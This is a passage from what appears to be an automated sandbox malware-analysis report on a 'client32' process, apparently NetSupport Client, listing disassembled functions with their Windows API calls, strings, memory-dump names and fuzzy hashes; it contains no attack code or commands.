Opcode Fuzzy Hash: 21aed678011e1edbc94f63bc384b6260687119dd637fa6182ef04eff418a5b30
Instruction Fuzzy Hash: 5C11C679A05314AFDB108F95CA88BDEF7A8FB46618F40472DEC12A3340DB75580087A1

Function 11064150 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,00000000), ref: 11064212

Strings

??CTL32.DLL, xrefs: 110641D3

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: ??CTL32.DLL
API String ID: 1029625771-2984404022
Opcode ID: cc0ca063087fa356a0713f1d8e18f8b0dc33c2edb3546a523657c24588211f68
Instruction ID: 40d8bc6ab88db45c32dcc04311cf02eaab8fe64a48e70e25efc52a4fcd913f6e
Opcode Fuzzy Hash: cc0ca063087fa356a0713f1d8e18f8b0dc33c2edb3546a523657c24588211f68
Instruction Fuzzy Hash: 0B31F371A04786DFEB10CF18DC40B5ABBE8FB46324F0182AAE918DB380E731A800C791

Function 110258A0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(?), ref: 110258CD

Strings

?:\, xrefs: 110258C2

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DriveType
String ID: ?:\
API String ID: 338552980-2533537817
Opcode ID: 8a1c97ff2a0bb620fb07ae8eb7adef0309c76a6bd9ef81c874dd3ea24fd5b682
Instruction ID: 296434f9c912465af49bf9801cd890ec27f2c7e8f645fe9e776db7a9ee79c680
Opcode Fuzzy Hash: 8a1c97ff2a0bb620fb07ae8eb7adef0309c76a6bd9ef81c874dd3ea24fd5b682
Instruction Fuzzy Hash: 14F0B461C053D97AEB22CE6084445C6BFE84F07269F64C8DEE8DA96541E2F6E184CB91

Function 110E2140 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32registryCOMMON

Download Yara Rule

APIs

Part of subcall function 110E2100: RegCloseKey.ADVAPI32(?,00000000,?,110E214D,00000000,00000001,00000000,?,1102EA96,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110E210D

RegOpenKeyExA.KERNEL32(?,00000056,00000000,00020019,?,00000000,00000001,00000000,?,1102EA96,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110E215C

Part of subcall function 110E1EE0: wvsprintfA.USER32(?,00020019,?), ref: 110E1F0B

Strings

Error %d Opening regkey %s, xrefs: 110E216A

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseOpenwvsprintf
String ID: Error %d Opening regkey %s
API String ID: 1772833024-3994271378
Opcode ID: de06c068b6387fb7d03cac4f1ec7eec17ce79ab7c81d58fa8930de2aa0461511
Instruction ID: 3b3bc7d0e1a8f125228a4b9cdcbe5750d81a716439a92490548d771633bd724e
Opcode Fuzzy Hash: de06c068b6387fb7d03cac4f1ec7eec17ce79ab7c81d58fa8930de2aa0461511
Instruction Fuzzy Hash: B4E0927A7012183FD710961A9C84EEBBB5DDBD66A8F00002AFA0487341C971DD0082B0

Function 11135660 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(NSMTRACE,?,1102C5F4,110252E0,02D0B7D8,?,?,?,00000100,?,?,00000009), ref: 11135679

Part of subcall function 111349D0: GetModuleHandleA.KERNEL32(NSMTRACE,11182A50), ref: 111349EA

Strings

NSMTRACE, xrefs: 11135674

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID: NSMTRACE
API String ID: 4133054770-4175627554
Opcode ID: 6b55861aefcc65c005b9025e5622ee65095013122b0b6ef497348b2382dd5a01
Instruction ID: b1ad380a61c778eddec6c5cf27d69e9270adaa7b109430301fabde4c5aba83a6
Opcode Fuzzy Hash: 6b55861aefcc65c005b9025e5622ee65095013122b0b6ef497348b2382dd5a01
Instruction Fuzzy Hash: 4BD012766552178BCF555A59A458764F7A8A64551F3400479DC25D5608EB30E0008F50

Function 11024B20 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,?,1102E824), ref: 11024B28

Strings

psapi.dll, xrefs: 11024B21

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: psapi.dll
API String ID: 1029625771-80456845
Opcode ID: b279cfa9485dd3d843c5fad48a844f53d245e61bccd7eeaeb87f5d1cde24b26e
Instruction ID: a49634711d735b4a264a9b105b6216e45b9c68ec107dc904bdc89f91bbe56f72
Opcode Fuzzy Hash: b279cfa9485dd3d843c5fad48a844f53d245e61bccd7eeaeb87f5d1cde24b26e
Instruction Fuzzy Hash: 43E009B1901B108FC3B0CF3A9844642BBF0FB086503118E3EE0AEC3A00E330A548CF90

Function 6C803A70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,?,6C807708), ref: 6C803A78

Strings

psapi.dll, xrefs: 6C803A71

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: LibraryLoad
String ID: psapi.dll
API String ID: 1029625771-80456845
Opcode ID: 626af475e0b489b49d0607378075431aad060d740aaea553ee34b5ccd583b844
Instruction ID: 09e6a29e0cb649e0a62b1af69a353f073a8e0e002372db9d57f7144f4071e6c6
Opcode Fuzzy Hash: 626af475e0b489b49d0607378075431aad060d740aaea553ee34b5ccd583b844
Instruction Fuzzy Hash: D5E001B1A01B218F83B0CF7AA504646BAF0BB096103119E3ED09EC3B00E334AA458FC0

Function 1105B4C0 Relevance: 3.2, APIs: 2, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

std::exception::exception.LIBCMT ref: 1105B563
__CxxThrowException@8.LIBCMT ref: 1105B578

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Exception@8Throw_malloc_memsetstd::exception::exceptionwsprintf
String ID:
API String ID: 1338273076-0
Opcode ID: 1b5560830ccb74d44574dce0668a09696c272e29ec4a79bf687cb658f92f3a9e
Instruction ID: dbfd585634f4dcca31f1a65116c528cbeeec74a75ffab873033d2eb26059fac1
Opcode Fuzzy Hash: 1b5560830ccb74d44574dce0668a09696c272e29ec4a79bf687cb658f92f3a9e
Instruction Fuzzy Hash: 1F51BF76A00649AFCB44CF58D840E9AFBE9EF49314F14856EEC199B340D775F900CBA0

Function 1106F8F0 Relevance: 3.1, APIs: 2, Instructions: 80COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1106F94F
FreeLibrary.KERNEL32(00000000,?,?,?,?,00000000,11182201,?), ref: 1106F9B9

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FreeLibrary_memset
String ID:
API String ID: 1654520187-0
Opcode ID: 236fcb1ff3e935db34e9d19d6ac7a4d3679b670c088639da643021d7e105519a
Instruction ID: b4d7e124ec2e4c11198bc400b01424f54d7072c10aa60f823e9ba30096ca7848
Opcode Fuzzy Hash: 236fcb1ff3e935db34e9d19d6ac7a4d3679b670c088639da643021d7e105519a
Instruction Fuzzy Hash: BD218676E0021CA7D710DE95DC40BDFFBACFB59350F4045AAE90997200D7315A55CBE1

Function 6C804750 Relevance: 3.1, APIs: 2, Instructions: 66COMMON

Download Yara Rule

APIs

ioctlsocket.WSOCK32(937B54B7,4004667F,00000000,-000391A4), ref: 6C8047DF
select.WSOCK32(00000001,?,00000000,?,00000000,937B54B7,4004667F,00000000,-000391A4), ref: 6C804822

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: ioctlsocketselect
String ID:
API String ID: 1457273030-0
Opcode ID: 695f85a805a316685ddb4345295488aeb6e3e4730592b991ba20b949c8d8252d
Instruction ID: b4ebac9079f1e09069603cf0878cfa26b8ddb73d7b574f1c670d4e2319e97719
Opcode Fuzzy Hash: 695f85a805a316685ddb4345295488aeb6e3e4730592b991ba20b949c8d8252d
Instruction Fuzzy Hash: 62213371A002188BEB28CF18C9547DDB7B9EB85304F0085EAA40D9B641D7745F94CF90

Function 1105A560 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1105A5A6
_memmove.LIBCMT ref: 1105A5B1

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _malloc_memmove
String ID:
API String ID: 1183979061-0
Opcode ID: 3c3ea54d01e18f5980f76814a4a1cb213ace576d82b2a0984105e2d45a008ece
Instruction ID: 6b2ba473f0f9fecf01fc659cc140292f3dfe021f1a80db6f3ab8bc208d22101f
Opcode Fuzzy Hash: 3c3ea54d01e18f5980f76814a4a1cb213ace576d82b2a0984105e2d45a008ece
Instruction Fuzzy Hash: 5DF0A479A00252AF97818F2D9844C97BBDCDF4A15C30484A6F955CB312D631ED0587E0

Function 11082CA0 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 11082CBF
InitializeCriticalSection.KERNEL32(0000E3D0,00000000,?,1106B543,00000000,00000000,1117066E,000000FF), ref: 11082D30

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection_memset
String ID:
API String ID: 453477542-0
Opcode ID: 816619bd5292480784461fccd4379953b6d04930cd08cba2fa59dc4f2141ea10
Instruction ID: 47d3f0b7005f24d88c5ba47056aa192fd225d793499904ccbf0e969ed53c4eab
Opcode Fuzzy Hash: 816619bd5292480784461fccd4379953b6d04930cd08cba2fa59dc4f2141ea10
Instruction Fuzzy Hash: 721157B1901B048FC3A4CF7A88817C7FBE5BB49311F80892E95EEC2200DB716560CF90

Function 11133890 Relevance: 3.0, APIs: 2, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 111338B1
ExtractIconExA.SHELL32(?,00000000,0004041F,0001043F,00000001), ref: 111338E8

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExtractFileIconModuleName
String ID:
API String ID: 3911389742-0
Opcode ID: 336059a513dda44203e69ba7318e9ebe477f3c8b73331cb78105c2dcabdbca92
Instruction ID: d4a943c9381133178395c29230453ef0d97f3a1f5bc1fa0403f3ff13df378306
Opcode Fuzzy Hash: 336059a513dda44203e69ba7318e9ebe477f3c8b73331cb78105c2dcabdbca92
Instruction Fuzzy Hash: 54F0B479A041186FEB08DF60CC9BFBDF3A8E784708F80C66DED52961C4CEB029448B40

Function 111522A1 Relevance: 3.0, APIs: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 11157CCF: __getptd_noexit.LIBCMT ref: 11157CCF

__lock_file.LIBCMT ref: 111522E8

Part of subcall function 11159979: __lock.LIBCMT ref: 1115999E

__fclose_nolock.LIBCMT ref: 111522F3

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: c6b8653c850ed822458d0e8f4dbe2789ca03e628ce26c4628c0bda2659fbdc38
Instruction ID: b4dba51b1251756d021d203fd4787ec9a19dcc6820a565d6ebdbe948f49b8c94
Opcode Fuzzy Hash: c6b8653c850ed822458d0e8f4dbe2789ca03e628ce26c4628c0bda2659fbdc38
Instruction Fuzzy Hash: BBF0903A811607DEDBD09B7588007DEFBA09F0333CF108344E438AA1D0DB786A429F56

Function 6C804E60 Relevance: 3.0, APIs: 2, Instructions: 10sleepnetworkCOMMON

Download Yara Rule

APIs

WSACancelBlockingCall.WSOCK32 ref: 6C804E69
Sleep.KERNEL32(00000032), ref: 6C804E73

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: BlockingCallCancelSleep
String ID:
API String ID: 3706969569-0
Opcode ID: b2cfbbf4e4914294731165def32e1c6a363d0ca7f80b3cb9e69e583529cd6e43
Instruction ID: 9a99c746948e08471bbff718b0d466d285f3cd816a56df3cb70a6f25417664a5
Opcode Fuzzy Hash: b2cfbbf4e4914294731165def32e1c6a363d0ca7f80b3cb9e69e583529cd6e43
Instruction Fuzzy Hash: 1CB092703D224106ABB012B80F183AA20D96BE426EFA09C70B945C9E85EF20C104E1A1

Function 11134260 Relevance: 2.6, APIs: 2, Instructions: 58sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11134180: ExpandEnvironmentStringsA.KERNEL32(75A3795C,?,00000104,75A3795C), ref: 111341A7

Part of subcall function 111524D7: __fsopen.LIBCMT ref: 111524E4

GetLastError.KERNEL32(?,00000000,75A3795C,00000000), ref: 11134295
